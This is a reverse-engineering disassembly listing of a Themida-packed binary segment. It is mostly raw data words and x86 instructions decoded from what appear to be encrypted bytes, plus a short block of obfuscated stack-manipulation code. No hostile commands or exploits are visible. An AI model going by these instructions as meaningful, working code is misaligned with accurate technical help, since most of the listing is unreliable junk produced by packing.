		jnb	short near ptr loc_5F3DCE+1 ; CODE XREF: Themida_:005F3E2Ej
		or	[ebp+eax*8-4AB48A1Ch], esi
		stc
		mov	edx, 0EF863589h


loc_5F3E0D:				; CODE XREF: Themida_:loc_5F3D9Cj
		or	al, 0Ch
		cmpsb


loc_5F3E10:				; CODE XREF: Themida_:loc_5F3DA2j
		jl	short near ptr loc_5F3DCE+1
; ---------------------------------------------------------------------------
		dw 96FEh
; ---------------------------------------------------------------------------
		sub	eax, [ebp+7Ah]


loc_5F3E17:				; CODE XREF: Themida_:005F3E18j
		das
		jp	short loc_5F3E17
		mov	al, [edx]
		mov	eax, [edi+ebp*2+148F7CDh]
		pushf
		pusha
		sti
		clc
		mov	ah, 50h
		popf


loc_5F3E2B:				; CODE XREF: Themida_:loc_5F3E2Cj
		dec	ebx


loc_5F3E2C:				; CODE XREF: Themida_:005F3DB4j
		jle	short loc_5F3E2B
		jnz	short near ptr loc_5F3DFE+1
		outsd
		inc	ebp
		jbe	short loc_5F3E92 ; CODE	XREF: Themida_:005F3E34j
		jp	short near ptr loc_5F3E32+1
		mov	bh, [edx-6E907B75h]
		test	dword ptr [eax+1], 0F8FB60B2h
		sar	esp, 1
		push	eax
		mov	ah, [edx]
		and	ebx, [edi]


loc_5F3E4A:				; CODE XREF: Themida_:005F3E6Ej
		mov	esp, 0C8EF787h
		cmpsb
		jl	short loc_5F3DF2
		sub	eax, 2CA32005h
		in	al, dx
		xchg	eax, edx
		insd
		ja	short near ptr loc_5F3DF2+1
		jp	short loc_5F3EAB
		int	0C1h		; used by BASIC	while in interpreter
		jns	short loc_5F3EB9
		mov	dh, [eax-69h]


loc_5F3E65:				; CODE XREF: Themida_:005F3DEAj
		test	[edi-0Ch], ch
		sar	dword ptr [esi], 1
		popf


loc_5F3E6B:				; CODE XREF: Themida_:005F3E6Cj
		pop	es
		js	short loc_5F3E6B
		jnz	short loc_5F3E4A
		retn	0CD9Bh
; ---------------------------------------------------------------------------
		db 54h
		dd 0D0DE9B59h, 8D0C10EFh, 8DE9B7Ch, 0E5779592h,	0F3360B7Ah
		dd 866E8872h, 0A60C10EFh
; ---------------------------------------------------------------------------
		jl	short locret_5F3EDF


loc_5F3E92:				; CODE XREF: Themida_:loc_5F3E32j
		lds	edx, [ecx+edi*2-53h]
		assume ds:___
		mov	bh, [edx-6E907B69h]
		and	[ebx-6481D40Ah], bl
		jle	short near ptr loc_5F3ECA+1
		sbb	al, 56h
		mov	dh, 1Ah
		imul	edi, 75h


loc_5F3EAB:				; CODE XREF: Themida_:005F3E5Cj
		jns	short near ptr loc_5F3ED5+1
		adc	eax, 0FD7ABE4Eh
		das
		mov	al, gs:59A57B89h


loc_5F3EB9:				; CODE XREF: Themida_:005F3E60j
		cmp	eax, 0DF709491h
		cmc
		pop	es
		mov	edx, 0D183FE4Dh
		db	3Eh
		popf
		add	[ebx-3], bh


loc_5F3ECA:				; CODE XREF: Themida_:005F3EA2j
		jnz	short loc_5F3EF6
		xchg	eax, edx
		loope	loc_5F3F46
		mov	esp, 844EA77Ah
		push	cs


loc_5F3ED5:				; CODE XREF: Themida_:loc_5F3EABj
		adc	al, ch
		dec	ecx
		rcl	byte ptr [esi],	1
		test	eax, 75FCA77Fh	; CODE XREF: Themida_:005F3EFCj

locret_5F3EDF:				; CODE XREF: Themida_:005F3E90j
		retf
; ---------------------------------------------------------------------------
		dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
		db 0A0h, 89h
; ---------------------------------------------------------------------------


loc_5F3EF6:				; CODE XREF: Themida_:loc_5F3ECAj
		push	913D59A5h
		xchg	eax, esp
		jo	short near ptr loc_5F3EDA+3
		cmc
		pop	es
		mov	edx, 85B5FF4Dh
		push	0FB608B98h
		das
		pop	ds
		pop	edi
		std
		push	ecx
		fidiv	dword ptr [ecx+3Fh]
		adc	esi, ebp
		mov	ecx, 9285E94Dh
		mov	ebp, 4D7A9774h
		hlt
; ---------------------------------------------------------------------------
		db 61h
		dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh
		dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
; ---------------------------------------------------------------------------
		sbb	al, 56h


loc_5F3F42:				; CODE XREF: Themida_:005F3F52j
		popf


loc_5F3F43:				; CODE XREF: Themida_:005F3F44j
		inc	ebx
		jnp	short loc_5F3F43


loc_5F3F46:				; CODE XREF: Themida_:005F3ECDj
		jnz	short loc_5F3F62
		dec	esp


loc_5F3F49:				; CODE XREF: Themida_:loc_5F3F62j
		std
		jnz	short loc_5F3FC5
		sbb	al, 56h
		popf
		mov	dh, 7Bh
		std
		jnz	short loc_5F3F42
		out	57h, eax
		mov	dh, 9Fh
		out	57h, al
		popf
		imul	edi, [edx-3], 0FCF32375h


loc_5F3F62:				; CODE XREF: Themida_:loc_5F3F46j
		jnz	short loc_5F3F49
; ---------------------------------------------------------------------------
		dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
		dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah,	630C0CEFh
		dd 4C0707Ch, 5D73E703h,	2C7F518Ah, 7AE002D0h, 873E703h
		dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
		dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h
		db 85h
; ---------------------------------------------------------------------------


loc_5F3FC5:				; CODE XREF: Themida_:005F3F4Aj
		wait
		int	0FDh
		dec	ebx
		wait
		ficom	word ptr [ecx+438A036Bh]
		retf	0DFA7h
; ---------------------------------------------------------------------------
		db 0EEh
; ---------------------------------------------------------------------------
		and	dl, [edi-4Ah]
		lahf
		xchg	eax, edx
		push	edi
		and	bh, [edx+edx*4]
		or	al, 75h
		retf
; ---------------------------------------------------------------------------
		dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
		dd 252D4D7Ah, 69B65779h, 0D10C97FFh, 8FC87D7Ch,	0F373E703h
		dd 0FCF8EC0Fh, 0BA6F84A6h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
		dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0A60C97F7h
		dd 34C87D7Ch, 2F73E703h, 12F8F10Fh, 0CD6F84A6h,	0E4DE152Ah
		dd 4AB6FD7Ah, 7975FD7Eh, 0C5846885h, 0C3F8FB60h, 296F8343h
		dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah,	0BB5E3AF1h
		dd 357115F9h, 0CB8A3E78h, 296F8497h, 96514ACEh,	74C1FF0Eh
		dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
		dd 25B5F179h, 68B65778h, 0D10C10EFh, 0EA917D7Ch, 42F539FAh
		dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
		dd 0CB7345B9h, 708AFD7Ah, 0F46F848Bh, 0A560F7h,	0A0F8FB60h
		dd 4ECD3E39h, 0D075FD7Ah, 8D0C0CEFh, 0CEB57E7Ch, 1A8935F1h
		dd 0E80C10EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h,	5A72D97Bh
		dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
		dd 0BC9D9D86h, 475FD7Ah, 513C17FBh, 0EAFCFB60h,	27CF7D86h
		dd 0E573E703h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 440C0CE8h
		dd 0ADFCBD7Ch, 916F848Fh, 79F835F1h, 0E36F8267h, 8B986F85h
		dd 7FFDFB60h, 4801F3Ch,	5E75FD6Dh, 56807F79h, 1A35FB60h
		dd 0D10AECE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0C5807779h
		dd 0ECF8FB60h, 296F8385h, 2F2B5989h, 0CB75FD72h, 9C846F85h
		dd 0AF6FB60h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah,	0F7C3F24Bh
		dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
		dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
		dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
		dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch,	0F2B6AD3Ah
		dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
		dd 0D10ACD90h, 1CCF707Ch, 7973E703h, 71CCF50Fh,	4F75FD7Ah
		dd 9CBC9CDEh, 0A226FD7Eh, 8D0C04E7h, 0D3497D7Ch, 0BE71887Bh
		dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 501C17FBh
		dd 25F8FB60h, 0CD6F8483h, 5C7D80F1h, 0F275FD72h, 0B0145989h
		dd 0DC75F9B8h, 278C40F7h, 0EF46FB60h, 9775F5C3h, 0AADF0E7Ah
		dd 58F89DB9h, 0F46F8483h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
		dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 9C8C40F7h,	0F3CDFB60h
		dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0ED7378F7h
		dd 0D08AFB60h, 3BE9CA8Bh, 60000000h, 161DBD8Bh,	0EF830613h
		dd 8BC93304h, 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h
		dd 0D323D21Bh, 0F4EC233h, 0FFFFF185h, 78941FFh,	100F981h
		dd 820F0000h, 0FFFFFFD3h, 0C88BC361h, 1EE9h, 0CF0F9400h
		dd 74h,	5 dup(0)
		dd 0E9000000h, 503h, 3A3B3FFh, 0E1C18D1Dh, 0FDDD6DBFh
		dd 0E6C48CDBh, 0FFDF75C4h, 0BB0A63CCh, 0C9173999h, 0B4072989h
		dd 0C1143694h, 411E2B8Bh, 0B83552CCh, 5C061B16h, 0B3226CBDh
		dd 109DB557h, 49163E8Bh, 2106A5C4h, 0FA70F1A0h,	3F7E0A2Dh
		dd 323FA08Ah, 0F8DA8953h, 0E5CBEB69h, 6569F854h, 775B78D4h
		dd 0B4D564E4h, 4999BD2Ch, 0BCA33405h, 1E4F4796h, 109E51C4h
		dd 0D869088Dh, 64D52FB9h, 91311BAEh, 133D8EB4h,	143487C9h
		dd 93F94B6h, 0C9C61638h, 6CE61779h, 35109E52h, 9EA0B1D0h
		dd 4021400Ah, 18B1DBF1h, 5373D56Ah, 0E170DC6Dh,	9E523190h
		dd 73DF6D10h, 250E0E2h,	56F31D33h, 710A886Fh, 41778D4Bh
		dd 0FA4B6FA3h, 3A820352h, 3EE3h, 6CBD7700h, 50DFC3E0h
		dd 0D829B800h, 109DB57Ch, 0C4E861F1h, 0A341EAF4h, 15Ch
		dd 6DBD0200h, 0DC6E50E1h, 0A06A5572h, 0BBE86C0Bh, 5B7FEEF6h
		dd 62F5440Ch, 57E79B30h, 60F1D7F7h, 0BD74CEECh,	7155E470h
		dd 0E43EAFE1h, 0AD109DB4h, 52380968h, 428F43B8h, 3B8EB412h
		dd 0AAFE4011h, 0AE3B4ADDh, 177697A6h, 0C0970146h, 3F0BA385h
		dd 472E3F5Eh, 5E0E2ECBh, 6A34129h, 6Eh,	4FE0C25Ch, 160EA3Eh
		dd 0C4895B7h, 143C8BAFh, 203123B2h, 4688D7E1h, 560958F2h
		dd 66F39F1Ch, 0C8EFD0EEh, 8CC48E44h, 50824A57h,	0C0025301h
		dd 0BAD81B6Fh, 0D5B5F544h, 52BCA5B4h, 0FFD593B9h, 647DA341h
		dd 5E000000h, 0D1920C81h, 3A5B109Dh, 0BE064498h, 0E470BD24h
		dd 6ADE7155h, 61DAF8DBh, 923024B1h, 39D28AB5h, 0FB88DF3Eh
		dd 0E0C267F1h, 95B7014Fh, 1B380945h, 0B54DC93Ch, 0F716109Dh
		dd 0B53F9EEDh, 67B8109Dh, 6B9AF043h, 109DB4EFh,	0AC3455B8h
		dd 213EE962h, 9DB572ECh, 12DA3B10h, 41EA8A4Ah, 132A3h
		dd 0C2080000h, 0B7014FE0h, 0A8074395h, 3911A387h, 1E78E928h
		dd 0E7109DB5h, 8BCF1EA6h, 0FF43123Ah, 8CCE9FAFh, 0D044153Bh
		dd 0A4382D9Eh, 0E96598B7h, 0B2109DB4h, 8AFF8953h, 0E8C684D8h
		dd 0E6C5C1A8h, 8EB1A677h, 27365716h, 1CBA9223h,	98A9A336h
		dd 931094BBh, 268DC08h,	2CCD4BBAh, 8C060A8Ah, 97F243EFh
		dd 0BD194C4Ah, 860A8A2Ch, 0B6D76607h, 0F1D6F7D7h, 51E7DE19h
		dd 5D6F79C3h, 0E36FBDCCh, 3E8FB382h, 0AC8EB10Eh, 0E2233218h
		dd 8A121773h, 51F94B0Ah, 0AA398302h, 1DD566E4h,	4AE2C08Ch
		dd 5AADB78Ah, 10332h, 0BEA30800h, 377AEBC8h, 40168EBCh
		dd 3D87C91Ah, 0FADC6DB0h, 0E3C5E567h, 676BFA52h, 1FE776D6h
		dd 0D76A18B1h, 3FFD5575h, 0A75AAD1Bh, 3Bh, 0C6BCA3BBh
		dd 4BFA74E9h, 0BF036F62h, 0AEBFDE6Eh, 9DB5035Fh, 0A4A43790h
		dd 2C20B195h, 0B348CA1Dh, 47C4AEC2h, 8596681h, 0F594F544h
		dd 4C0BA7D6h, 0F114EF62h, 9AF6D1h, 0C25C0000h, 6EFF4DE0h
		dd 5099A52Fh, 59649936h, 42168EA1h, 6CBEE4C3h, 0AA3253E2h
		dd 86C6173Bh, 9DAF0228h, 87CD1C3Eh, 0FC5FAE3Dh,	3D0A8A9Fh
		dd 0E06EC0E2h, 3D8E3051h, 0CA3FC913h, 0AAA6351Dh, 60727A9Bh
		dd 5F5F7FCDh, 2E5F7C0Ah, 10741ECDh, 9E842362h, 0ED7C440Eh
		dd 65F458E9h, 0ED7CD061h, 69F85CE9h, 9580F973h,	8B3CCD3Fh
		dd 62A9AAA4h, 0BA02C2E0h, 8423637Eh, 52D832A3h,	7CA10470h
		dd 5F486774h, 0CE8C8C78h, 53CF3E39h, 1C04708Ch,	0B15098F9h
		dd 0A5A0C6Eh, 86248203h, 0EBC8BEA3h, 8735397Ah,	0FE4FCE16h
		dd 138FFEE1h, 0DC0A8335h, 8C1D2FB9h, 6DC0E2C0h,	0F5FF8EDFh
		dd 855C2DBEh, 6481935h,	86C899B3h, 0F811731h, 3E98CD7Ah
		dd 797ADAAh, 6B54E786h,	0B79E5D44h, 529A6530h, 0AB9443B8h
		dd 0D0C6913Ah, 0E0F2FAF3h, 0FFE0FF4Dh, 0AD9E148Eh, 30B8DD97h
		dd 901D0522h, 0CC1475C4h, 252378Ah, 1E203150h, 5E72C38Dh
		dd 42065981h, 0C04A92F3h, 8B39C4Bh, 9F1404F2h, 8EEF5FEFh
		dd 8BC11446h, 9C12032Ch, 88314EEEh, 0A351240h, 8C5359C5h
		dd 54864ECCh, 436C4B01h, 981026F4h, 47A62E2Fh, 30Ah, 0E17BA800h
		dd 54E571BDh, 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh
		dd 0C392C20Fh, 1120307Fh, 9EAF9B2Dh, 15242ABCh
		db 22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	553Dh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edi
		push	6D281E9Dh
		pop	edi
		neg	edi
		add	edi, 71FB69FBh
		xor	edi, 2C9CB1Ch
		mov	esi, edi
		pop	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, edi
		push	esi
		pop	dword ptr [eax]
		pop	eax
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 68C0ECA3h, 3AF970EAh, 0F5B3A6CBh, 0B8F97D91h, 61A84B3h
		dd 0E0FFC503h, 413C4D4Ah, 2B1A9F48h, 4183B9A8h,	38722C1Dh
		dd 19061565h, 38FD3C74h, 6811E9FCh, 292074D9h, 43FD7E5Ah
		dd 1B23797Eh, 43308F7Ch, 3D677558h, 5ED36120h, 52167FE6h
		dd 6B8FBA91h, 9384C8h, 263179E8h, 9B704F5h, 0FC7C038h
		dd 5A209574h, 53DB5441h, 6CC393CFh, 7C56B2Dh, 79CE58F8h
		dd 41B82809h, 466069DDh, 157876C6h, 24EA72B9h, 69B4EB2Fh
		dd 21E9h, 0E3E7E600h, 53h, 6 dup(0)
		dd 0A3E90000h, 6800000Ch, 61A87E8h, 0F8FB6BE9h,	88B368FFh
		dd 61E9061Ah, 68FFF8FBh, 61A8971h, 0F8FB57E9h, 8A0C68FFh
		dd 4DE9061Ah, 68FFF8FBh, 61A8CF7h, 0F8FB43E9h, 8FD468FFh
		dd 39E9061Ah, 68FFF8FBh, 61A90DFh, 0F8FB2FE9h, 0F462F0FFh
		dd 0EC62F4D6h, 0F258ECCEh, 0F35DEED4h, 0F460EDD3h, 2348E7D6h
		dd 3A20BE96h, 280AA8AAh, 3315B593h, 3F0CAAA2h, 3B71ED20h
		dd 0E73A16B8h, 0E470BD7Bh, 3547655h, 0DC50664Dh, 1C12BEB4h
		dd 1B2D82D4h, 20667BBBh, 0B01B5283h, 230C168Eh,	0EC95D17Bh
		dd 85E2EAE6h, 0D160EC3Dh, 61F05CEDh, 0CA5D4120h, 0BF4E1F7Eh
		dd 0A8A2F5Fh, 38DF5CB6h, 0BC8DBF12h, 0DCB935Dh,	0B55AAD9Ch
		dd 42h,	0ABEA389h, 9DB57FDBh, 0A4C54810h, 0BA922307h, 75626AABh
		dd 8EAB1500h, 0E5FBE16h, 8A951F7Fh, 430B5B0Ah, 0CD7BD0F2h
		dd 0C2375B7Ch, 0B800AD3h, 0AD0A13E1h, 7DCDF55Ah, 0B70180D1h
		dd 760h, 0CCC4F600h, 6A000007h,	51E06CBDh, 1CADDC6Dh, 81E02130h
		dd 8AFCE521h, 0A37DB82Dh, 8706168Eh, 0A0B20228h, 0DA38C918h
		dd 310A8A9Eh, 8CB364D5h, 0FFBA6E52h, 5CEFD31Bh,	0B43C5DECh
		dd 0AD176C2Ch, 25D45Ah,	0A36A0000h, 7AEBC8BEh, 168E989Bh
		dd 78D2666Ch, 78C9A8E9h, 8A888909h, 15A6E00Ah, 0AD3E29E7h
		dd 0D1915Ah, 0BDA50000h, 6D51E06Ch, 641EB1E0h, 562C8DD4h
		dd 84E584D1h, 0C4091B5h, 163E8BAFh, 0A52F25B4h,	9BB10446h
		dd 8DC7163Ch, 45935DBCh, 9E7C9816h, 8BC11410h, 98B4052Bh
		dd 10766BC9h, 813F42B3h, 0F518168Fh, 0F690D9D5h, 81D4F6D9h
		dd 6E7ED80Dh, 0C6470A8Bh, 6D7796A7h, 75D73B1Eh,	32A38410h
		dd 475C3D8h, 0F7747CA1h, 0E7163996h, 475C46Bh, 34E6CC9Ch
		dd 0B9864548h, 6B4F8C54h, 725876DEh, 82FC71E3h,	0AB79FDB2h
		dd 9F9E1FCh, 19A50000h,	2BBB9D3Dh, 0B9D8323h, 2AB99F3Fh
		dd 13A28826h, 0FD326141h, 0B3134190h, 0B3133F8Dh, 0B00E3A8Dh
		dd 0B515378Ah, 0D832A3ACh, 0A116B83Bh, 70BDD688h, 264EF21Eh
		dd 564F87Ah, 1C3284A6h,	11A486D4h, 0A33D9B3Bh, 7AEBC8BEh
		dd 168E989Bh, 3B18296Ch, 896DE91Ch, 0D7360A8Ah,	89207E0Dh
		dd 1B770A8Ah, 3EBE7E9Eh, 0A0265AADh, 3C000000h,	51E06CBDh
		dd 51FF5072h, 5CF84587h, 0B0FE7C0Dh, 587F109Dh,	42B7D455h
		dd 0BE2F8CE1h, 109D2564h, 0EEE0E82Dh, 0F0D2F15Bh, 3D5CED5Bh
		dd 3283A5B3h, 0F4ED4B1Ah, 0BDC03592h, 96168E2Ah, 12575777h
		dd 14265774h, 0D107476h, 0BA072B88h, 0C7163C9Ah, 1750D88Dh
		dd 0C66579FCh, 92E8Bh, 74E27000h, 6CE27456h, 72D86C4Eh
		dd 73DD6E54h, 74E06D53h, 0A3C86756h, 0BAA03E16h, 0A88A282Ah
		dd 0B3953513h, 0BF8C2A22h, 3CF16DA0h, 67BA16B8h, 2DDC2FBh
		dd 15620A27h, 0DB6A6C74h, 0E6775979h, 0BDEA4866h, 69C91A6Ch
		dd 84D88037h, 11751D9Bh, 0CDACCD4Eh, 0D47ACCEEh, 2DBC0485h
		dd 16B49829h, 8FC31139h, 3F955FBEh, 52342D4Eh, 78610075h
		dd 1372168Fh, 45DA5DF0h, 2940B346h, 760F7E5Dh, 7766B73Ah
		dd 0E94716h, 8FDE76C3h,	1D506F0Eh, 60A139EEh, 64E4775Bh
		dd 0F6D5B4D5h, 0EBCB81D4h, 621EE5CAh, 3BBED5F6h, 1EDBAE31h
		dd 7D1B082h, 0A5D874C5h, 0CA23BBEDh, 70627F2Eh,	2E000008h
		dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh
		dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h
		dd 16B83DE7h, 0BDC579B0h, 0DFC3E06Ch, 2BBA0252h, 5CEFD40Dh
		dd 0BF2E8DECh, 168EAF96h, 163996F7h, 8A9B6BE7h,	7D1340Ah
		dd 77C5EDCAh, 6CBF11DBh, 0FC5F1816h, 0DF71BEA6h, 4B6B0A6Bh
		dd 5976D265h, 28B0776h,	31540A8Ah, 4DC938A7h, 340A8A03h
		dd 0A89F2D6h, 3695F1F8h, 7AFDFEC7h, 0ED7B5F10h,	11350465h
		dd 23D98CC0h, 5079FE90h, 7D5BC99h, 7DC90000h, 87D7F9D9h
		dd 6FC1E7C7h, 86D5FBDBh, 77C6ECCAh, 61CEFDDDh, 3797BD0Ch
		dd 2F8FC311h, 3492B609h, 3191BB0Eh, 5CB62728h, 2516B83Fh
		dd 0BEA352ECh, 0D37AEBC8h, 34168EBFh, 0C495BF0Eh, 36152445h
		dd 0F4C4C014h, 9B290C16h, 889D8B9h, 123C8EC0h, 8D0B8AB5h
		dd 464480F9h, 607F607Eh, 8A0CB12Dh, 0D11B7A0Ah,	4E1F2F7Fh
		dd 318EF6F2h, 0A719290Eh, 0E391FBF7h, 3068AAD9h, 9310A8Ah
		dd 81C697BBh, 921B0EEDh, 9B254426h, 6A7ECF4Eh, 4FDF9328h
		dd 4BE0A93Ch, 4CCD9CFDh, 5E8D2Dh, 220A89DBh, 0EC21BEC6h
		dd 0A89DB96h, 0F2D8F617h, 0EED1EE60h, 89DB237Fh, 1FA9EC0Ah
		dd 0DAC931C0h, 36230A89h, 9CD1C514h, 0A89DA42h,	5AEB8A0Bh
		dd 0E257B13Bh, 94C00D35h, 0A0B1A332h, 0E5755761h, 0D7674969h
		dd 0C6E9E677h, 89DA3B97h, 3781040Ah, 89DA9AC8h,	31CA440Ah
		dd 0C3D4A186h, 3ED3A044h, 7612A4B6h, 0EA56D8B2h, 82D2F429h
		dd 610081D0h, 691B4541h, 0EBBA1B4Ah, 0D4FB0A89h, 0B84BC4D1h
		dd 45A22A8Ah, 6FBFE3C0h, 275615DFh, 5EE8E30Eh, 5C80F995h
		dd 26CB4B9Ch, 0F32F597Eh, 636377EDh, 1414259h, 0A3180000h
		dd 7AEBC8BEh, 168EA0D3h, 38987BA4h, 0BE522084h,	7754B936h
		dd 6C4A0253h, 7A59F346h, 0C3234D55h, 6F79E859h,	986381F0h
		dd 266C91C7h, 4CDD95h, 1F2D80A2h, 8EF6F24Eh, 97B90A30h
		dd 1B3184C6h, 84495BBh,	0CF1CC839h, 0CD45D4BCh,	1933863Ch
		dd 64697B9h, 95EFF937h,	8EC41436h, 6AE41946h, 3310B8CCh
		dd 7BCDF5D2h, 0F1D705CFh, 0B39F2D64h, 330263A2h, 3A99EBF5h
		dd 0B8CC53CBh, 759B8410h, 36369FD5h, 0B96925CAh, 706A6E12h
		dd 3C9AFB68h, 0B889C316h, 0F54A4796h, 0E2830253h, 6DDD6F53h
		dd 0E769FADCh, 7B108256h, 3FBC368Ah, 0AC0A4293h, 2A5B3386h
		dd 10B99AB0h, 22B21479h, 0A4005130h, 7AEBC8BCh,	10B99B28h
		dd 401FBCE1h, 0B99B51CDh, 0F1FB1A10h, 0E06CBDE3h, 20557251h
		dd 10B99AA6h, 0B4A62E6Fh, 0A88A291Fh, 2C2B3A18h, 0B99B5DB9h
		dd 86E72610h, 0F779AF3Eh, 0CF7DD082h, 1178C9EFh, 0D67CCCC3h
		dd 2987D6B7h, 0F766453Fh, 10B99AA7h, 0B3953558h, 3A192820h
		dd 0A4D36C15h, 3F89F849h, 3897EDF3h, 0B91E59C5h, 6EC00210h
		dd 52281E0h, 0B91E76D0h, 0CD1B3F10h, 3455B485h,	0BD14AEACh
		dd 0DFC3E06Ch, 2C6DFC4Ch, 6F7AB6A4h, 0C045B817h, 99168E9Dh
		dd 1D2C20B1h, 1C3E9DFCh, 0FF2181C7h, 1B3F9CACh,	50B180C8h
		dd 8A880273h, 0CC510A8Ah, 22476504h, 0CB8C359Eh, 1E7F7E4Fh
		dd 0CD054CC1h, 2766107Ah, 0A967E716h, 60890476h, 0AD548926h
		dd 0E0A67B3h, 499CBE8Fh, 44BC4E03h, 16D573EBh, 4EA3Bh
		dd 3026B400h, 301EB092h, 2E1CB092h, 3719AA90h, 3024B197h
		dd 5F8CA392h, 0FE2482D2h, 2406A4AEh, 3719B98Fh,	3B08A6A6h
		dd 4165E114h, 0FB2E16B8h, 0C8BEA347h, 0A4577AEBh, 6DB0168Eh
		dd 0A2FC714Eh, 0D60A8A9Dh, 1B7ACB85h, 60FFC94Ch, 8A9DB011h
		dd 0F258EC0Ah, 7CCC5F63h, 0EAB25EDh, 0D7749E27h, 0AD0FE7B5h
		dd 0EA1895Ah, 0BC6BB23Ah, 0CF000000h, 9DB54270h, 0F1D3E110h
		dd 0D2CEEC60h, 9FCEED95h, 109DB54Bh, 0FD228104h, 31C6033Eh
		dd 94539D33h, 9FDC90B7h, 6AD9D2Fh, 973B9B8Fh, 9CBE0646h
		dd 63A30349h, 86A9067Ch, 993D13A4h, 4BBA0246h, 109E25D7h
		dd 1F3C0D90h, 1CA4AC3Bh, 0D4DFA73Ah, 1A9B48DAh,	95F16443h
		dd 5E109E2Ah, 56815E3Fh, 0CB3835D4h, 0ECAB4D9Eh, 0FC739037h
		dd 3373616Bh, 5679562Ch, 9E84AB27h, 0C7117410h,	851B5B8Ah
		dd 0A6AC109Eh, 65E37815h, 85D4B5D4h, 0A5D46504h, 109EC525h
		dd 0BC8CFD6Fh, 87CD1CA3h, 993657B6h, 8E2D21B1h,	9E45035Fh
		dd 7F49CC10h, 44C32352h, 3154109Eh, 0A5B691h, 0A31C0000h
		dd 0C7EBC8BEh, 584D575h, 0A66F9EBBh, 77168EBFh,	5B8A0053h
		dd 0A8AA8FFh, 152445C8h, 607FECF4h, 8AA8B12Dh, 470FE20Ah
		dd 5DFF710Dh, 5FEE8F0Eh, 4565ED7Bh, 7A003F68h, 0B79A1714h
		dd 0BA8BC313h, 3D25915Bh, 0A1F96C4Bh, 620A89E7h, 0AF32695Dh
		dd 492865AEh, 30689F8h,	2561E94Fh, 51A86894h, 3C105AADh
		dd 26000000h, 0EAC9BFA3h, 9DB51F7Bh, 94A5E810h,	923022B2h
		dd 0E6794C96h, 0D3B2D362h, 0B55181F4h, 382109Dh, 0F543C332h
		dd 638D109Dh, 0C0C822E6h, 4ADEC4E3h, 1949B800h,	4A109D75h
		dd 0BD4DEBCBh, 7251E06Ch, 87037255h, 50109DB4h,	0B4429CCDh
		dd 8A0B109Dh, 8FBD1042h, 8CFAEF2Fh, 0A283BE2Fh,	890C168Eh
		dd 9DC949B8h, 0E6200A8Ah, 5085A255h, 0A8A9DF6h,	0CE965EBFh
		dd 5AAD0F0Eh, 49B6h, 0E0C28C00h, 0C9F5FF4Dh, 94C9E6A0h
		dd 168E98B5h, 0C7360786h, 0A8A8947h, 91573583h,	0C21F73C7h
		dd 4B8FDEBFh, 900455FDh, 71786DDEh, 0D4F3A415h,	8A8025A1h
		dd 8AFEE0Ah, 2D97D075h,	0B32BB59Eh, 5AAD59E5h, 0CD4Dh
		dd 6CBDF100h, 0E06D51E0h, 0C4E6E574h, 0C012DA70h, 518EDF6Dh
		dd 0DA323666h, 2F7E3B8Dh, 5A7C4425h, 0F6654507h, 109E4578h
		dd 0CBEB61F4h, 0D674C8EAh, 0D379CC0Eh, 4B3B2682h, 15ACF96Ch
		dd 0E2C5168Fh, 8B141773h, 33BDE00Ah, 0EA6499B6h, 0B30A8B13h
		dd 93933352h, 6A9B384Eh, 10757CD0h, 3317B4D9h, 2E11AEA6h
		dd 0E495BB0Ch, 4756A6Ah, 0CC0AD233h, 0D474C7EBh, 9ABC0485h
		dd 0BC54094Bh, 0C179FD11h, 20D2F2Ah, 45910000h,	3F8FB111h
		dd 3789AF0Fh, 3E8DB313h, 3F8EB412h, 0A986B515h,	7F5FF544h
		dd 67470B59h, 7C5AEE41h, 69490356h, 940E7F60h, 5D16B843h
